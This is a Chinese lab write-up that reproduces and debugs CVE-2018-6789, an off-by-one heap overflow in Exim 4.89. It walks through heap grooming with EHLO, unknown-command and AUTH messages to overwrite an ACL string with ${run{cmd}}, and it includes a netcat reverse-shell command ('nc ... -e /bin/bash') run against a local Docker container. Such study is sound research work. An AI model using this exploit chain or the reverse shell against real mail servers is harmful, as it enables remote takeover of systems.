0x00 写在前面

本实验是对 CVE-2018-6789 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。

请严格遵守所在地法律法规。

0x01 程序分析

漏洞基本信息

Exim 是基于 GPL 协议的开放源代码软件,是一个 MTA ,负责邮件的路由,转发和投递。Exim 被作者设计成可运行于绝大多数的类 UNIX 系统上,包括了 Solaris、AIX、Linux 等。Exim 和其他开源的 MTA 相比,最大的特点是配置极其灵活。

CVE-2018-6789 是一个堆溢出漏洞,在 4.90.1 前的版本上在进行base64解密时对数据长度计算错误,可能会造成一个堆上的一字节溢出,通过综合利用,最终能实现远程代码执行。触发次数是可以一直发包,一直攻击。

根本成因是 b64decode 函数在对不规范的 base64 编码过的数据进行解码时可能会溢出堆上的一个字节,形成经典的 off-by-one 漏洞,官方给出的修补方案为多分配几个字节。

本次实验是 exim-4.89 版本,在 Ubuntu 20.04 x64 上开启 ASLR、NX、PIE、CANARY、FORTIFY;RELRO:FULL 等保护机制等情况下,实现远程 getshell。

直接使用 skysider 提供的 docker 镜像。如果要搭建,所有下载的文件为: exim-4.89.tar exp.py

漏洞点分析

exim-4.89/src/base64.c:156 处实现了对 base64 数据的解码,核心代码如下:

漏洞点

base64 进行解码时,会将 $4$ 个字节作为一组,共计 24bits ,然后解码成 $3$ 个字节,共计 24bits

(编码时将原字符顺序连接,6bits 为一个单位,最多 $64$ 种符号,再加上填充符号 =)

当原本的字符不是 $3$ 的倍数时会将编码后的数据使用 = 进行填充。因此当编码前的数据长度为 $3n+2$ 时,编码后的长度为 $4n+3$。然后仔细看这段代码中的标注的部分,当 $len(code)=4n+3$ 时,我们会发现其计算出来传递给 store_get 的参数是 $3n+1$,而实际解码的数据会占用空间是 $3n+2$,因此就会造成堆的一个字节溢出(off-by-one)。

官方给出的修补方案为多分配几个字节。

漏洞利用背景知识

exim堆管理机制

eximlibc 提供的堆管理机制的基础上实现了一套自己的管理堆块的方法,引入了 store poolstore block的概念。store pool 是一个单链表结构,每一个节点都是一个 store block,每个 store block 的数据大小至少为 0x2000storeblock 的结构如下(exim-4.89/src/store.c:71),自定义对头中维护了一个 next 指针和一个大小 length ,各占 $8$ 字节的空间。

storeblock结构

下图展示了一个 storepool 的完整的数据存储方式,chainbase 是头结点,指向第一个 storeblockcurrent_block 是尾节点,指向链表中的最后一个节点。store_last_get 指向 current_block 中最后分配的空间, next_yield 指向下一次要分配空间时的起始位置, yield_length 则表示当前 store_block 中剩余的可分配字节数。当 current_block 中的剩余字节数 yield_length小于请求分配的字节数时,会调用 malloc 分配一个新的 storeblock 块,然后从该 storeblock 中分配需要的空间。

storepool数据存储方式

当调用 store_get 时,会经过一些对齐计算和判断是否有空闲空间满足,如果有就返回,没有会调用系统 malloc 进行分配,具体在代码 store.c:129 在函数 store_get_3 中,当对齐传入的 size 后,新申请的空间大小为 size+8+8 即需要的空间大小加上当前 storeblock 定义的块头大小。

ALIGNED_SIZEOF_STOREBLOCK

store_get_3判断size

store_malloc

store_malloc_3

不要觉得上面这堆块看起来好像很唬人,但是其实就是做以下几个事:

  1. 当需要进行堆块申请时,如果不够 0x2000 则会补上,即实际上向 libc 申请的最小值就是 0x2010exim 维护了一个 0x10 的头),然后这样一个 libc 给的堆块就被称为一个 storeblock
  2. libc 给的堆块的数据域起始设置了两个字段,第一个是 next 用于指向下一个 storeblock (没有下一个就是 NULL ),第二个字段是 length ,表示当前有多长。
  3. 当再有内存需要申请时,先看当前的 storeblock 中剩余的空间是否足够,够就直接切一块返回,不够就新向 libc 申请一块作为新的 storeblock ,并将当前 storeblocknext 指向新的 storeblock ,并将当前 storeblock 设置成新的。

exim堆排布函数

EHLO

smtp_in.c 中在 1752 行的函数 check_helo ,当用户发送 HELO 消息时,程序会释放之前的 sender_helo_name 并将其置为 NULL ,而后将当前的输入数据 sender_helo_name 通过 string_copy_malloc 存到堆中。

总结效果是,会进行一次 free(old_ptr) , new_ptr=malloc()

check_helo

sender_helo_name

string.c:440 行定义了函数 string_copy_malloc

string_copy_malloc

Unknown cmd

对于无法识别的,含有不可见字符的命令,都会分配一个缓冲区来将其转化为可打印的存储错误消息。 store_get() 会被调用,会新给一个 store block 。当给出含不可见字符的未知命令时, synprot_error 会调用函数 string_printing 进而调用到 store_get 的。这里可以看到申请的空间大小为 length + nonprintcount * 3 + 1 ,因此要触发新 malloc 分配一个,需要当前 store blockyield_length 的值比这个小才行。(应该是打印完毕错误信息就会释放了。)

smtp_in.c:5572

unrecognized command"

string.c:288

string_printing2

AUTH

exim 基本使用 base64 编码后与用户客户端进行通信,编码和解码的字符都存储在 store_get() 分配的缓冲区中。对于 AUTH 的数据,也直接往堆空间中进行放置。

该函数分配的缓冲区用于字符串,可以包含不可见字符,可以包含 NULLNULL 不一定终止。

重置所有 EHLO、MAIL和RCPT

每当有命令正确完成时,都会调用 smtp_reset() 将前面所有这些块的情况重置到重置点,这意味着执行之后,所有前面通过 store_get() 获取的 store_block 都会被释放。会从最后一个 storeblock 开始,逐一往前释放,直到重置点。

smtp_setup_msg

store.c:402

block释放链

exim运行模式

exim 作为一个邮件服务端,在服务运行过程中,每当收到一个客户端的请求时就会 fork 出一个子进程对该请求进行处理。

根据这个特性,我们可以爆破出 libc 基址来绕过 ASLR

漏洞利用函数

exim 的实现中,有一种叫做 ACL, Access Control List 的东西,在 global.c 中定义了这些全局字符串变量。

ACL字符串定义

这些指针在 exim 进程开始时初始化,根据配置进行设置。

例如, configure 中有一行 acl_smtp_mail=acl_check_mail ,则指针 acl_smtp_mail 将不再是空,而是指向字符串 acl_check_mail 。每当使用 MAIL FROM 时, exim 都会执行 ACL 检查,这首先会扩展 acl_check_mail ,然后 exim 遇到 ${run{cmd}} 就会尝试执行命令,所以只要控制 ACL 字符串就可以实现代码执行。

此外,我们不需要直接劫持程序控制流,因此可以轻松绕过 PIENX 等缓解措施。

readconf.c:175 行处定义了该字符串。

readconf定义ACL字符串

smtp_in.c:4614 行对该字符串进行检测,如果不为空就触发 ACL 检测,调用函数 acl_check 然后传入参数 acl_smtp_mail

smtp中的ACL检查

漏洞利用思路

可以通过覆盖 acl 字符串为 ${run{command}} 的方式,达到远程命令执行的目的。整体利用的思路流程为:

1、布局堆空间,使得内存中存在一块足够大的连续堆空间,可以用于进行后续的堆申请和释放操作。

2、合理利用堆排布函数,对堆空间进行排布,使得程序执行过程中能申请到一个堆块 vulnerable chunk 处于程序执行过程中之前申请的堆块 illegal chunk 前面,该堆块下一个堆块为程序执行过程中 store_block 所在堆块 victim chunk

3、利用 off-by-one 漏洞,在 vulnerable chunk 中形成溢出,修改 illegal chunksize 位,造成内存空间上的重叠。

4、利用空间重叠申请到 illegal chunk 对下一使用中的堆块 victim chunk 进行修改,将其中的 stroe_blocknext 指针指向 ACL 字符串所在的 store_block

5、释放并获取到 ACL 字符串所在堆块,以实现对该数据的篡改。

6、发送 MAIL FROM 数据,触发 ACL 检查,完成利用。

完整利用流程图如下所示:

漏洞利用流程图

进行堆排布

这一步是为了布置堆数据,形成一块连续的大小为 0x7040 的空闲堆块,便于后续进行堆块的申请释放等堆操作。使用堆布局函数,进行两次的 EHLO 完成堆布局。

构造漏洞缓冲区堆块

发送 unknown cmd 申请一个堆块,对空闲堆块进行切分,以切出合适的大小,发送的 unknown command 大小要满足 yield_length < (length + nonprintcount * 3+1) ,从而能够调用 malloc 函数分配一个新的 storeblock 。待释放后,会形成一个空闲堆块,能够确定该堆块会出现在这个位置。

构造受害者堆块位置

发送 HELO 请求,回收 unknown command 所占用的内存空间时,此时由于之前的 sender_host_name 占用的内存空间已经释放,会发生合并,形成大小为 0x2050 的空闲块。该堆块等待后续被申请占用,用于对当前堆块的 size 位进行覆写。

溢出覆盖受害者堆块size位

发送 AUTH 数据,利用漏洞,此时的数据大小刚好合适,能放入提前规划的堆空间中,该数据位于此时 sender_host_name 的前面,此时通过 off-by-one 能将下一堆块的 size 最低一字节覆盖形成堆块的覆盖。此时当前堆块结束后,下一堆块是在占用状态,并且存放着 current_block 。延长 size 的堆块将与下一堆块形成堆叠。

构建假堆块

为了绕过堆块申请释放过程的 size 位检测,需要在受害者堆块被释放前,对应虚假位置时构建一个假堆块的,形成一个虚假的 size

释放受害者堆块

此时发送 HELO 数据,将修改了 size 位的堆块进行释放,将存在内存堆叠区域的堆块放入 unsorted bin 中。

利用溢出,替换next指针

发送 AUTH 数据,获取刚释放的受害者堆块,此时拿到该堆块中包含了原始合法的下一堆块的堆头,而此时下一堆块中存在一个 store_block ,通过内存的堆叠,在当前堆块的数据区域中可以合法溢出修改下一堆块的部分内容,而 store_block 维护的堆头就在堆数据的起始区域,通过计算偏移,可以将 store_block 中的 next 指针替换为存储 ACL 字符串的 store_block

释放所有store_block

此时发送 EHLO 报文,释放所有的 store_block 。于是通过覆盖的 next 指针指向,可以将 ACL 字符串所在的堆块进行释放,能够将该地址加入 unsorted bin 中。

申请空闲堆

此时观测 unsorted bin 中的空闲块,找到 ACL 字符串所在堆块的位置,发送 AUTH 合理进行堆申请,调整 ACL 字符串所在堆块的位置,让其处于当前 unsorted bin 的最后一个位置。

将payload填入ACL块中

发送合适大小的 AUTH 数据,程序会进行堆的申请,将该 AUTH 数据放入 ACL 字符串所在的堆块中。通过计算偏移合适布置堆数据可以将不同的 ACL 字符串进行覆盖,这里是覆盖发送 MAIL 时进行的 ACL 检查的字符串,将其值覆写为 ${run{cmd}} 的形式,若触发了 ACL 检查,检测到该字符串时会将其中的 cmd 进行执行。

触发ACL检查

布置好 payload 后,通过发送一个 MAIL FROM 请求,触发程序的 ACL 检查,从而执行放置的 cmd 命令,完成任意代码执行,获取 shell

0x02 成功截图

直接启动现成的 docker 镜像,它会直接启动存在漏洞的 exim 服务。

1
sudo docker run -it -p 25:25 skysider/vulndocker:cve-2018-6789
1
2
execute_command(0x95f, '/bin/nc 127.0.0.1 9999 -e /bin/bash')
# nc -lvvp 9999

在图二的地方启动受害者 docker ,然后在图一的地方开启一个监听,然后在图三的地方爆破出地址,在图五的地方写入反弹回连命令,然后在图四中 exp 运行执行命令,在图一中收到回连,并在 shell 中执行命令 id 成功。

成功获取 shell

0x03 调试

直接使用 skysider 提供的 docker 镜像。如果要搭建,所有下载的文件为: exim-4.89.tar exp.py

第一次启动 (默认的

虽然该利用方式可以爆破,但为了调试方便,避免重启后狠多数据对不上号了,所以先关闭了ASLR。

1
2
sudo docker run -it -p 25:25 --privileged --cap-add sys_ptrace --security-opt
seccomp=unconfined skysider/vulndocker:cve-2018-6789

此时,日志中打印的参数可以看到启动命令,由于日志打印的方式也会影响堆空间的排布,因此这个很重要,不同的启动方式可能exp需要进行一定的迁移。

1
cwd=/work 5 args: /work/exim-4.89/build-Linux-x86_64/exim -bd -d-receive -C conf.conf

由于向折腾双机调试,所以直接再起一个窗口挂载进去,并将原来的窗口关闭了,自己运行一下试试:

1
sudo docker exec -it 1cb4954142c0 /bin/bash

但是很可惜,在启动的容器中进行,根本是杀不死 pid 是 1

1
2
3
4
5
root@80f513b38895:/work# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
exim 1 0.0 0.0 29948 3592 pts/0 Ss+ 15:21 0:00 /work/exim-4.89/build-Linux-x86_64/exim -bd -d-receive -C conf.conf
root 7 0.0 0.0 21480 3680 pts/1 Ss 15:23 0:00 /bin/bash
root 25 0.0 0.0 37660 3312 pts/1 R+ 15:23 0:00 ps aux

第二次启动 (导出导入后)

1
2
3
4
5
# 导出
docker export 7691a814370e > ubuntu.tar

# 导入 - 后面指定了导入后本地镜像的名称和版本
cat ubuntu.tar | docker import - test/ubuntu:v1.0

导出导入后的启动方式

1
sudo docker run -it --name exim -p 25:25 test/ubuntu:v1.0 /work/exim-4.89/build-Linux-x86_64/exim -bd -d-receive -C /work/conf.conf

如果导入后启动 gdb 遇到 gef 启动失败

1
2
3
4
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 10.2 in 0.00ms using Python engine 3.8
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):
(gdb) q

这是个配置问题,设置一个环境变量即可

1
export LC_CTYPE=C.UTF-8

调试环境搭建

本次实验中所有的

既然双击调试搭建失败,我们进行本地调试,虚拟机挂起后,docker容器里就没有网络了,同时为了避免 docker 重启导致生成的地址不一致,所以配置好了后在该容器运行着的清空下打了个快照。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 换源
sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
apt update

# python3.5->python3.6 (for gef) (最新的 gef 安装后有个特性需要3.8后才支持)
apt -y remove python3 && apt -y remove --auto-remove python3 && apt -y purge --auto-remove python3
wget https://www.python.org/ftp/python/3.8.10/Python-3.8.10.tgz
tar -zxvf Python-3.8.10.tgz && cd Python-3.8.10
# (without ssl. requests will get error when get https)
apt install -y libssl-dev
./configure --with-ssl
# zlib not found
apt install -y zlib1g-dev zlibc
# fatal error: ffi.h: No such file or directory
apt install -y libffi-dev
make -j`nproc` && make install -j`nproc`
python3 -V
# Python 3.8.10
python3 -m pip install --upgrade pip -i https://pypi.mirrors.ustc.edu.cn/simple/

# gdb (higher than gbd8)
wget https://ftp.gnu.org/gnu/gdb/gdb-10.2.tar.gz
tar -zxvf gdb-10.2.tar.gz && cd gdb-10.2
mkdir build && cd build
# use newer python3
../configure --with-python=/usr/local/bin/python3
apt install -y build-essential texinfo
make -j`nproc` && make install -j`nproc`
cp /work/gdb-10.2/build/gdb/gdb /usr/bin/gdb
root@22d584bba7a9:/work# gdb -v
GNU gdb (GDB) 10.2
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

# gef (for heap cmd)
apt install -y file

wget https://gef.blah.cat/py -O ~/.gdbinit-gef.py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

# peda
apt install -y git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

# nc
apt install -y netcat

上面的配置过程,我已经不经意跑过多次,所以应该是可以一瞬搭建通过的。

PoC

运行原文中提供的 poc.py 然后观测到 dockerdebug 给出的子进程的 pid ,然后使用 gdb attach 到子进程。

获取子进程 pid

在原文的 PoC 中已经设置了一个暂停(在发送 helo 之后,auth 之前有个 input )所以此时就是停在 helo 发送后,此时查看堆信息。可以看到在 unsorted bin 中存在一个大小是 0x6060 的堆块。

查看堆信息 unsorted bin 中有 0x6060 的块

如果回车就会发送 auth ,而根据博客需要在 b64decode 执行完毕后下断点分析,但是我不知道调用栈,就先下在 b64decode,再 bt 看调用栈确定调用函数了调用函数是 auth_cram_md5_server,然后知道是 cram_md5.c:175 调用的,于是反汇编(disassemble)一下确定断点位置(源代码是一行不够精细,我们下在获取长度之后,进行 if 判断前断)

1
2
3
4
5
6
7
8
9
10
11
gef➤  disassemble auth_cram_md5_server
...
0x00000000004832fa <+186>: call 0x409baf <b64decode>
0x00000000004832ff <+191>: mov r14d,eax
...

# 删除之前的断点
delate 1

#下断点
b *auth_cram_md5_server+191

下断点后再回车,发送 auth 数据,在 gbdc ,即执行 auth 后,走到断点处,再查看堆。

堆中 size 位被修改

然后此时,我们查看堆中的数据。可以看到 unsorted bin 中有一个堆块,显示它的大小是 0x40f0 ,其实这个堆大小应该是 0x4040,但是这里可以看到已经被篡改了,我们可以去内存中看看。

第一个内存位置(0x10c35c0 )是看 unsorted bin 的这个堆块中的内容,可以看到,我们填入的两个字节0xf1f1 修改了下一个块大小(小端,第一行一前一后的两个 \xf1 应该是紧贴的)。

第二个内存位置(0x10c35c0-0x2020)是紧邻的前一个堆块(内存上连续的),也就是已经分配出去了的部分,事实上被用来存数据了,存的就是 auth 发送过去的数据。,可以看到他的大小是 0x2020

第三个内存位置(0x10c35c0+0x4040)是看紧邻的后一个堆块(内存上连续的),查看原始的堆块结构,可以看到下一个堆块标记的 prev_size 即当前的 0x10c35c0 堆块大小应该是 0x4040 ,同时紧邻的下一个堆块自己大小为 0x2020 (size为数据也是),即说明当前unsorted bin是释放状态。

第四个内存位置(0x10c35c0+0x40f0)是看假如我们就这样修改了大小后继续程序执行,当再次触发从unsorted bin 的空闲块 malloc 分配内存时,系统会去检测的位置。即检测 “当前空闲块位置”+“空闲块大小”位置的块记录的 prev_size 是否与当前空闲块记录的大小一致,不一致将触发内存错误。现在这里一眼看过去就不相等(0x62626262 != 0x40f1)。

因此需要构建假堆块,而我们构建假堆块时,就是要将堆块重叠处进行一个重新切分,强行将原本下一个堆块的一部分数据切到上一个堆块,然后在结束的地方伪造下一个堆块的长度(原本长度减去分给上面的长度)这样在glibc 看来,这两块内存都是合法的两个块,就不存在内存的重叠了。

堆中数据的 size 和 prev_size

现在来计算大小,一个能刚好利用 off-by-one 移除覆盖下一个堆块 size 位的大小。在形成 0x2050 的空闲空间时,堆头占据了 0x10 ,所以数据域就是 0x2040 ,此时要复用下一个堆块的 prev_size 字段(占用 8 字节),所以就少申请一点空间,即传递到 store_get 的是 0x2040-0x8=0x2038 ,而 exim 在进行 storeblock 维护时会嵌入自己的块头,占用空间为 (0x8+0x8),所以发送到 malloc 的空间就是 0x2038+0x10 = 0x2048 ,而 malloc 在收到 0x2048 时,发现这个 unsorted bin 总共只有 0x2050 ,堆头占用了 0x10 ,所以就复用下一堆块的 prev_size 刚好够 0x8。考虑到之前说的漏洞处计算规则,真实的数据占用空间是 3n+2 时,会分配 3n+1 的空间,所以再计算一个满足这个溢出的数据,所以就是理论上要存 0x2038 的数据即可。

exp

step0 建立连接

在连接后,就下断点,准备查看一下堆

运行 exp

查看堆信息,发现全是空的,然后我们回车走第一步。

第一步后,其实我也没有仔细去分析中间的堆分配,所以不知道发送的堆块所在的位置是 -0x1010 还是 -0x2020,就按数据分析是在 0x1010 的位置,可能是初始一开始就是分配了一个 stroblock 然后发现用0x1010 能刚好把剩下的占据完毕吧。这时候 current_block0x10b2370 即当前 sender_host_name 并没有在一个 storeblock 中,而是单独就占用了一个 glibc 分配过来的堆块。所以,总之初始的堆就是这样分配并占用的了,所以接下来要尝试在次堆情况下,去进行堆的排布。

step-0 查看堆情况

step1 布局堆空间

然后进行再次发送 EHLO ,使得堆块进行释放后又申请,将前面的堆确实合并了,变成了是 0x7040

step1 布局堆空间

step2 分配新storeblock

上面的 sender_host_name 还在,然后发送的 0x700 的无效字符,还是会占据最小的 0x2020,此时看到 unsorted bin 中的堆块还剩 0x5020 。查看一下当前存储 unknown cmd 的堆块前后。

可以看到,前后的堆的长相,上面的 0x30sender_host_name0x10c00c0-0x30)还在占用,中间的 0x2020unknown cmd (0x10c00c0)还在占用,后面的 0x5020unsorted bin0x10c20e0=0x10c00c0+0x2020)的在空闲状态。

step2 分配新 storeblock

step3 布局 0x2050 的堆块

发送的数据 EHLO,导致前面的两个堆块( sender_host_name0x10c00c0-0x30】和 unknown cmd0x10c00c0】)都被释放,触发合并,同时在原来的 0x50200x10c20e0)中切了一块。我们去查看原来的位置就可以发现 x/10xg 0x10c20e0 ,大小是 0x2c10,用于存新的 sender_host_name,而原来占据开头的 0x30 位置和后面的 0x2020 合并了,并且说明前一个堆块是空闲的。地址还是在 0x10c0090,所以在 unsorted bin 中显示的最后一个的地址是 0x10c00a0 即 块头+0x10,去看看数据就知道这个空闲块的大小 x/10xg 0x10c0090 。而原来的 0x5020 切分了 0x2c10 后,还剩的 0x2410 看看 x/10xg 0x10c20e0+0x2c10 ,所以在空闲堆块中出现了一个地址是 0x10c4d00=0x10c4cf0+0x10 也是数据区域得加个头。

可以看到此时 0x10c20e0 这堆的 size 还是 0x2c10

step3 布局 0x2050 的堆块

step4

看到堆里面多了个largebin。

可以看到 0x10c20e0 这堆的 size 已经从 0x2c10(x02c11) 被覆写为了 0x1cf0(2cf1)

step4 覆写 size 位

此时再查看 current_block 可以发现这个 store_block 所在的堆块在内存上,是在被溢出堆块的下一个堆块区域了。此时,切分的堆块还剩的一小块在 unsorted bin 中, size=0x3f0 地址是 (0x10c6d10)

1
2
p (int)next_yield
p (int)current_block # 已经在下一个堆块中,下面紧接着的内存也分配,看到看到了准备攻击的next位置了,里面值是NULL。

此时看看,覆盖之后,假堆块的位置 x/10xg 0x10c20e0+0x2cf0 里面数据全是 0

查看假堆块数据

构建假堆块时,需要在假堆块的 size 位置伪造假堆块的大小,这个大小应该是原始大小减去拼接给上一个堆块的大小。即假堆块的 size 处大小是 0x2020-(0x2cf0-0x2c10)=0x1f40 ,剩下的内存空间就是这么多,同时标记上一个堆块在使用,所以应该填入的内容是 0x1f41

计算 padding 长度,从 next_yield 到覆写到假堆块的 prev_size(0x10c20e0+0x2cf0+0x8)-0x10c4d18=0xc0,所以 padding应该是这么多。但是不知道为啥还有 0x50 的空间被申请了,导致 next_yield 被退后了 0x50,所以实际的 padding 长度是 0xc0-0x50=0x70。总之可以通过调试,确保 size 错位堆块+假堆块大小+8 的位置的值应该是 0x1f41

数据被无效填充

Step5

构造假堆块,成功改成预期的值。 x/10xg 0x10c20e0+0x2cf0,此时我们还可以查看到剩余空间。

1
2
p (int)next_yield 0x10c5000 # 后面还有足够的空间,放置少量的信息。
p (int)current_block # 所以 0x10c4d00+0x2000 都是 storeblock 可以用的空闲区域。

构造假堆块-成功改成预期的值

step6

发送 helo 释放了 sender_host_name 后,重新占用的字符串很短,在 fake chunk 进行的 auth 时,申请的堆块很能放得下,所以就会直接放里面了。 可以看到 unsorted bin 里面确实放进去了 0x10c20e0 对应的地址 fw 。而且 auth data 占用的堆块还在,而原始的下一个堆块(受害者堆块)的区域已经被系统不理解成一个堆块了,所以 0x2021 并未发生改变,被理解成使用后的垃圾数据了。而构建的假堆块的位置 1f41 成功被修改成了 1f40 因为前置堆块已经释放了,此时计算的 prev_size 也是对的 0x2cf0。此时,current_block 还未发生改变,还在受害者堆块中,而它不知道自己这个堆块的头和自己这一片的内存都被理解成了上一个堆块的数据区域了,此时只需要再申请到上一个堆块,就可以修改这里面的内容了。

1
x/10xg 0x10c20e0

unsorted bin 已经放入 fw 指向位置

step7

覆写 acl 字符串时,从数据域填充 0x2c00 后就是下一个 storeblocknext 指针(此时再申请到这个目标堆块就是要用到fakesize 绕过 malloc 的检测),此时为啥要将该 storeblock 所属的堆块的 prev_size0size0x2021 呢,prev_size 无所谓,反正是被理解为前面堆块正在使用中,size 则是标记当前的大小为 0x2020,因为一个 storeblock 的最小大小就是这个,在构造 fake 堆块时,原本申请的就是这么个数字,即保持不变。

current_block 所属的位置是从第二个堆块原本的大小结束后,所以将第二个堆块的数据域填满 (0x2c00) 后再填满受害者堆块的块头 (0x10) 后即是 storeblock 所属的 next 区域。而第二个堆块中也封装了 storeblock 的头,所以 0x2c00 的填充只需要填充0x2c00-0x10 即可。

所以最终的 padding0x2c00-0x10+p64(0)+p64(0x2021) 无效字符+ 无所谓的 prev_size + 堆块 size 原本就是 0x2021 的实际值。

脚本中发送期望填充的数据是 0x886480 后面的高位数据就保持默认。

通过查查看 x/10xg 0x10c20e0 其中的 next 字段,也能发现,其 next 字段(0x10c20f0)的值是 0x00000000010cb150 所以,高位值其实就是 0x0000000001。所以最终填过去的值确实就是 0x0000000001886480

但我有一事不解,这个用去覆写 next 的数据占用的堆块,现在究竟是占用状态还是释放状态。我感觉应该是占用状态呀,怎么后面假堆块的位置还说是释放状态呢? 实际看了就是占用状态,应该是参考博客错误了。

其实是使用状态,此时这个大块是被认为有 0x2cf0 但是本次填充只占用了 0x2c20,所以被切了,切到了 0x10c20e0+0x2c20=0x10c4d00。此时这个 0x10c4d00 被放在了 smallbin 里面去了,它的 size 显式自己是 d1,即大小是0xd0(0x2cf0 -0x2c20),前一个块在使用中,因为假堆块也在使用中,所以没法合并就进入了 smallbin

1
x/10xg 0x10c20e0

step7 后的堆状态

此时的 current_block0x10cb150 , 是在当前进去覆写 acl 字符串的 AUTH 数据的堆块的 storeblock 后面。0x10c20e0

step7 后的 current_block

step8

释放所有的堆块,总之会依次释放。注意到,刚才 0x10c20e0+0x2c10=0x10c4cf0 堆块中的next被篡改了,所以这个堆块放入的unsortedbin 之后释放的就是 acl 所在的 storeblock。所以去看堆里面的这个地址被分配到时就改它。

这一步走不通了,爆破也全失败了,应该是环境发生了改变了。我直接先偷看一下 p (char*)acl_smtp_mail 的地址 0x10a1508

acl_smtp_mail 地址

所以,我在能爆破的环境中偷看了 “acl_check_mail” 与其对应的 storeblock 的偏移,然后就后面用这个进行计算。

通过能爆出来的版本,我去找到了这个storeblock的相对偏移。

(gdb) p (int)current_block
0x1820d00
所以,0x1820d00-0x10 就是第三个堆块,再-0x2c10就是中间堆块
0x181e0e0 就是中间堆块

覆写完后的堆块
(gdb) x/10xg 0x181e0e0+0x2c10
0x1820cf0: 0x0000000000000000 0x0000000000002021
0x1820d00: 0x00000000017fd480 0x00000000000000d1
0x1820d10: 0x00007f23858ffc38 0x00007f23858ffc38

0x17fd480 就是 acl 所在 storeblock 所属的起始

(gdb) p (char*)acl_smtp_mail
$2 = 0x17fd508 “acl_check_mail”

相差 0x88,排除storeblock的头,填入的偏移为 0x78. 与exp一致了。

(gdb) x/24xg 0x17fd470
0x17fd470: 0x0000000000000030 0x0000000000002021
0x17fd480: 0x00000000018020e0 0x0000000000002000
0x17fd490: 0x6e6f632e666e6f63 0x0000000000000066
0x17fd4a0: 0x00002f6b726f772f 0x0000000000000000
0x17fd4b0: 0x0000000000000000 0x0000000000000000
0x17fd4c0: 0x0000000000000000 0x0000000000000000
0x17fd4d0: 0x0000000000000000 0x0000000000000000
0x17fd4e0: 0x0000000000000000 0x0000000000000000
0x17fd4f0: 0x0000000000000000 0x0000000000000000
0x17fd500: 0x0000000000000000 0x636568635f6c6361
0x17fd510: 0x00006c69616d5f6b 0x636568635f6c6361
0x17fd520: 0x0000617461645f6b 0x3863353136353662

所以计算出我这个环境中 acl 字符串所在的 storeblock 地址是 0x10a1508-0x88=0x10a1480。所以就是用这个去覆盖 next。 传入的爆破数值就是 0xa1

re-step7

所以,我们重新来,直接快进到这一步(第七步)。调整之后,其他都一模一样,区别就是我们填入的值不一样了。这次是 0x10a1480

x/10xg 0x10c20e0+0x2c10

重新查看 current_block

re-step8

重来,我们释放所有的堆块,此时观测到 unsortedbin 中有大量的堆块,我们要记住刚才是让 0x10c20e0+0x2c10next 指向了 aclstoreblock,所以通过这个来定位即可。也可以直接看地址 0x10a1480 。如下图,我们高亮的部分就是 acl 所在的块。

所以接下来就是想办法一直申请 unsortedbin 中的块,拿到这个块。

re-step8 后的 unsorted bin

此时需要注意,small bin 中的块,0x10c4d20 它的大小是 0xb0,它被一个 unsortedbin 给包裹了——Chunk(addr=0x10c4d00, size=0x2020, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)所以在拿到这个 unsorted bin 后需要在数据中维护好这个smallbin 的结构,否则会触发崩溃。

step9

~~0x10c4d00 开始写数据,0x10storeblock 的头,然后写到 ~~

然后,进行一次 auth 发送的数据长度是 0x1f80 然后,分配空间会去找一个 0x2000 的(有两个头,事实上是总空间 0x2020) ,所以第一个 unsortedbin 太大了,就被放入了 large bin。然后第二个就满足了就被取出来了,查看数据可以发现。

step9 后的 unsortedbin

此时,再申请合适大小的,就可以拿到这个 acl 堆块。并且,我们已经得知这个偏移是 0x78=0x88-0x10 在覆盖前再看看acl_smtp_mail 的值。x/24xg 0x10a1480

拿到 acl 块

覆盖后可以看到 acl 中我们想覆盖值就已经写成了预期的值。完成覆写,然后发送一个消息触发利用即可。

覆写 acl 块

success

成功创建了文件,命令执行成功,此时随便更换命令即可。

命令执行成功

0x04 总结与思考

通过对该漏洞对复现分析,此类漏洞的利用大概步骤应该如下:(个人总结向

  1. 首先根据漏洞点分析漏洞成因,了解漏洞触发的条件和限制。
  2. 要进行堆溢出漏洞点的利用。就需要了解目标软件正常流程中都有哪些相关的堆操作函数,通过巧妙布置这些堆操作函数,从而巧妙操控堆进行布局,进而实现最终的漏洞利用。
  3. 最后结合程序特性,合理排布堆,实现漏洞的利用。

0x05 参考连接

整体利用方法: https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

ACL使用原理和功能函数: https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/

协助分析ACL控制流: https://cloud.tencent.com/developer/article/1396128